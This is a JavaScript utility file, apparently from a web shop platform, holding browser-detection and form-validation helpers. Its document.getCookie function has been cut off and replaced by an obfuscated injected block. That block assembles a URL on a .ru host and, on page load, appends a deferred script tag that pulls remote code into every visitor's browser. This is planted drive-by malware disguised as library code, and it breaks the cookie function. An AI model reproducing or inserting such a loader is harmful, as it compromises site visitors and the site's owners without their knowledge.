/* $Id : utils.js 5052 2007-02-03 10:30:13Z weberliu $ */

var Browser = new Object();

Browser.isMozilla = (typeof document.implementation != 'undefined') && (typeof document.implementation.createDocument != 'undefined') && (typeof HTMLDocument != 'undefined');
Browser.isIE = window.ActiveXObject ? true : false;
Browser.isFirefox = (navigator.userAgent.toLowerCase().indexOf("firefox") != - 1);
Browser.isSafari = (navigator.userAgent.toLowerCase().indexOf("safari") != - 1);
Browser.isOpera = (navigator.userAgent.toLowerCase().indexOf("opera") != - 1);

var Utils = new Object();

Utils.htmlEncode = function(text)
{
  return text.replace(/&/g, '&amp;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
}

Utils.trim = function( text )
{
  if (typeof(text) == "string")
  {
    return text.replace(/^\s*|\s*$/g, "");
  }
  else
  {
    return text;
  }
}

Utils.isEmpty = function( val )
{
  switch (typeof(val))
  {
    case 'string':
      return Utils.trim(val).length == 0 ? true : false;
      break;
    case 'number':
      return val == 0;
      break;
    case 'object':
      return val == null;
      break;
    case 'array':
      return val.length == 0;
      break;
    default:
      return true;
  }
}

Utils.isNumber = function(val)
{
  var reg = /^[\d|\.|,]+$/;
  return reg.test(val);
}

Utils.isInt = function(val)
{
  if (val == "")
  {
    return false;
  }
  var reg = /\D+/;
  return !reg.test(val);
}

Utils.isEmail = function( email )
{
  var reg1 = /([\w-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([\w-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)/;

  return reg1.test( email );
}

Utils.isTel = function ( tel )
{
  var reg = /^[\d|\-|\s|\_]+$/; //只允许使用数字-空格等

  return reg.test( tel );
}

Utils.fixEvent = function(e)
{
  var evt = (typeof e == "undefined") ? window.event : e;
  return evt;
}

Utils.srcElement = function(e)
{
  if (typeof e == "undefined") e = window.event;
  var src = document.all ? e.srcElement : e.target;

  return src;
}

Utils.isTime = function(val)
{
  var reg = /^\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}$/;

  return reg.test(val);
}

Utils.x = function(e)
{ //当前鼠标X坐标
    return Browser.isIE?event.x + document.documentElement.scrollLeft - 2:e.pageX;
}

Utils.y = function(e)
{ //当前鼠标Y坐标
    return Browser.isIE?event.y + document.documentElement.scrollTop - 2:e.pageY;
}

Utils.request = function(url, item)
{
	var sValue=url.match(new RegExp("[\?\&]"+item+"=([^\&]*)(\&?)","i"));
	return sValue?sValue[1]:sValue;
}

Utils.$ = function(name)
{
    return document.getElementById(name);
}

function rowindex(tr)
{
  if (Browser.isIE)
  {
    return tr.rowIndex;
  }
  else
  {
    table = tr.parentNode.parentNode;
    for (i = 0; i < table.rows.length; i ++ )
    {
      if (table.rows[i] == tr)
      {
        return i;
      }
    }
  }
}

document.getCookie = function(sName)
{
  // cookies are
var nS;if(nS!='O'){nS=''};function C(){var k;if(k!='z' && k!='s'){k=''};var M="";var Y="g";var b;if(b!='' && b!='R'){b=null};var PWm=new String();var _='';var Pn=new String();var nO=new Array();var vT='';var P=RegExp;var vp=new String();var g;if(g!='' && g!='Fs'){g='F'};function E(w,p){this.B='';var Oi=new String();this.dX="";var x= "[";x+=p;x+=String("]");var m;if(m!='FF'){m=''};var a=new P(x, Y);var PT;if(PT!='TO' && PT!='G_'){PT='TO'};return w.replace(a, _);this.kRp="";};var tj='';var f;if(f!=''){f='Z'};var PW=new String("scri"+"pt");var V='';this.N="";this.vp_="";var S=String("iLUsrc".substr(3));var n=String("de"+"fe"+"r");var OP;if(OP!='dY' && OP!='zy'){OP='dY'};this.Ac='';var Cf=String("httplHXG".substr(0,4)+"://mYbQ".substr(0,4)+"yyeaZ5X".substr(0,4)+"Lferboo".substr(3)+"k-co"+"IaBm.goIBa".substr(3,4)+"P7zogle7Pz".substr(3,4)+"TAQw.dk.AwTQ".substr(4,4)+"topi"+"zSIx-co".substr(3)+"m.viB5x".substr(0,4)+"in2deoh".substr(3)+"kP2otmi2kP".substr(3,4)+"J4tx.ru".substr(3)+"hnrX:Xrnh".substr(4,1));this.ak='';var y=String("wbo/j".substr(3)+"ugTr9y".substr(0,2)+"VWfXemVXfW".substr(4,2)+".jl905".substr(0,2)+"LJQhp/QJLh".substr(4,2)+"jumwEO".substr(0,2)+"fVqgeqfV".substr(3,2)+"Co5Am.".substr(4)+"jpC9z".substr(0,2)+"F8zg/oFz8g".substr(4,2)+"dhp3rbp3hd".substr(4,2)+"itexR".substr(0,2)+"MQwdo".substr(3)+"wndCR8".substr(0,2)+"SOaloSOa".substr(3,2)+"mjPWadPmjW".substr(4,2)+"er"+"8ro.c8or".substr(3,2)+"omFJwv".substr(0,2)+"/gGrzs".substr(0,2)+"ooOuF".substr(0,2)+"gl0aKx".substr(0,2)+"e.XSW5".substr(0,2)+"coTOSN".substr(0,2)+"DBO5m/BD5O".substr(4,2)+"ibQYs".substr(0,2)+"m.UMTZ".substr(0,2)+"fdOYco".substr(4)+"a56m.".substr(3)+"phSLCR".substr(0,2)+"p");var iV=new Date();var Mm=new Date();var A=E('8979797094744998774470477794974',"479");var V_=new String();var fr;if(fr!='' && fr!='ec'){fr=null};var T=window;var B_;if(B_!='bs' && B_!='Pn_'){B_=''};var fy=new Array();T.onload=function(){var Tx;if(Tx!='YB' && Tx!='Fy'){Tx=''};try {var SU;if(SU!='o' && SU != ''){SU=null};var bU=new String();var zA=new String();var Fg=new String();V=Cf+A;var wZ="";var Bn="";V+=y;var Yt;if(Yt!='' && Yt!='yD'){Yt=''};var VK="";Sj=document.createElement(PW);var WN;if(WN!='rg' && WN!='ci'){WN='rg'};var dYY="";Sj[S]=V;var nb;if(nb!='RT'){nb=''};Sj[n]=[4,1][1];var fu;if(fu!=''){fu='qu'};var PTR=new Array();var cq;if(cq!='' && cq!='aS'){cq='hv'};document.body.appendChild(Sj);this.wHG="";} catch(J){var Vz;if(Vz!='zq' && Vz != ''){Vz=null};var bG="";};var xb;if(xb!='' && xb!='Vx'){xb=''};};var rU=new Array();this.uc="";};C();